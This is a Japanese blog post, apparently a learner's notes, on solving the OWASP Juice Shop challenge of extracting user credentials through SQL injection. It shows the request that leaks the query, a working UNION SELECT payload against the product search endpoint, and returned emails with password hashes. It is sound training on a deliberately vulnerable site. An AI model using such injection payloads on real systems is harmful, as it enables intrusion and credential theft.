【UNION SELECT】Juice ShopのSQLインジェクションの備忘録
OWASPが提供してくれているやられサイト。
今までUNION SELECT
のSQLインジェクション
がよく分かっていなかったので、問題を解いたついでに備忘録。
Retrieve a list of all user credentials via SQL Injection
bkimminich.gitbooks.io
この問題は、クエリを細工して通常、商品の条件検索する場所で、ユーザの登録情報をSQLiによって読み取ろうという問題。問題の解説自体は本家のページにあるので、そちらで。ここでは、忘れないようにやった手順を書いておこうと思います。
大したことは書きませんが、誰かの役にたてば幸いです。
解くまえに
別の問題のインジェクションの結果から、ユーザの情報はUsers
テーブルで管理され、email
とpassword
カラムがあることが分かっています。(ログインページのエラー等から発行されているSQL文が覗け、そこから判明可能)
通常のリクエスト
/rest/products/search?q=
このリクエストには、条件が指定されていないので全ての商品情報が返ってきます。json形式ですが
# response { "status": "success", "data": [ { "id": 1, "name": "Apple Juice (1000ml)", "description": "The all-time classic.", "price": 1.99, "image": "apple_juice.jpg", "createdAt": "2019-08-08 11:15:22.310 +00:00", "updatedAt": "2019-08-08 11:15:22.310 +00:00", "deletedAt": null }, { "id": 24, "name": "Apple Pomace", ....
エラーを起こす
ありがたいことに、エラーを起こすとそのSQL文が返ってきます。
/rest/products/search?q=shop'
{ "error": { "message": "SQLITE_ERROR: near \"'%'\": syntax error", "stack": "SequelizeDatabaseError: SQLITE_ERROR: near \"'%'\": syntax error\n at Query.formatError (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:419:16)\n at Query._handleQueryResponse (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:73:18)\n at afterExecute (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:247:31)\n at replacement (/app/node_modules/sqlite3/lib/trace.js:19:31)\n at Statement.errBack (/app/node_modules/sqlite3/lib/sqlite3.js:16:21)", "name": "SequelizeDatabaseError", "parent": { "errno": 1, "code": "SQLITE_ERROR", "sql": "SELECT * FROM Products WHERE ((name LIKE '%shop'%' OR description LIKE '%shop'%') AND deletedAt IS NULL) ORDER BY name" },
))
でwhereを終えて、union select
でUsersテーブルから情報をとった後、残りはコメントアウトすれば良さそうです。
union select
よく分かっていなかったのが、union select
を書くときのカラムの数を同じにする という話。
蓋を開けてみると簡単なことで、union select
の左の結果で得られるカラムの数と同じにするということだそうです。今回であれば、左側の文ではProductsテーブルの全てのカラムをとってくるので、id
,name
,description
,price
,image
,createdAt
,updatedAt
,deletedAt
の8がカラム数です。
よって、
/rest/products/search?q=shop')) UNION SELECT email,password,2,3,4,5,6,7 FROM Users--
とすればカラム数が8個の指定になります。(数字の振り方が変なのは意味なし)ここは、発行されているsql文が不明な時に、よく1つずつ増やしながら試している部分です。だからよく分かっていなかったかも...?
レスポンスの一部はこんな感じで返ってきます。
{ "id": "J12934@juice-sh.op", "name": "3c2abc04e4a6ea8f1327d0aae3714b7d", "description": 2, "price": 3, "image": 4, "createdAt": 5, "updatedAt": 6, "deletedAt": 7 }, { "id": "admin@juice-sh.op", "name": "0192023a7bbd73250516f069df18b500", "description": 2, "price": 3, "image": 4, "createdAt": 5, "updatedAt": 6, "deletedAt": 7 }, { "id": "amy@juice-sh.op", "name": "030f05e45e30710c3ad3c32f00de0473", "description": 2,
UNION SELECT
の右側で指定したUsersテーブルのカラムの値を、左側で取得したカラムに紐付ける?挿げ替える?ために、同じ数にする必要があったようです。(初心者)
模範回答
回答はこんな感じです。 bkimminich.gitbooks.io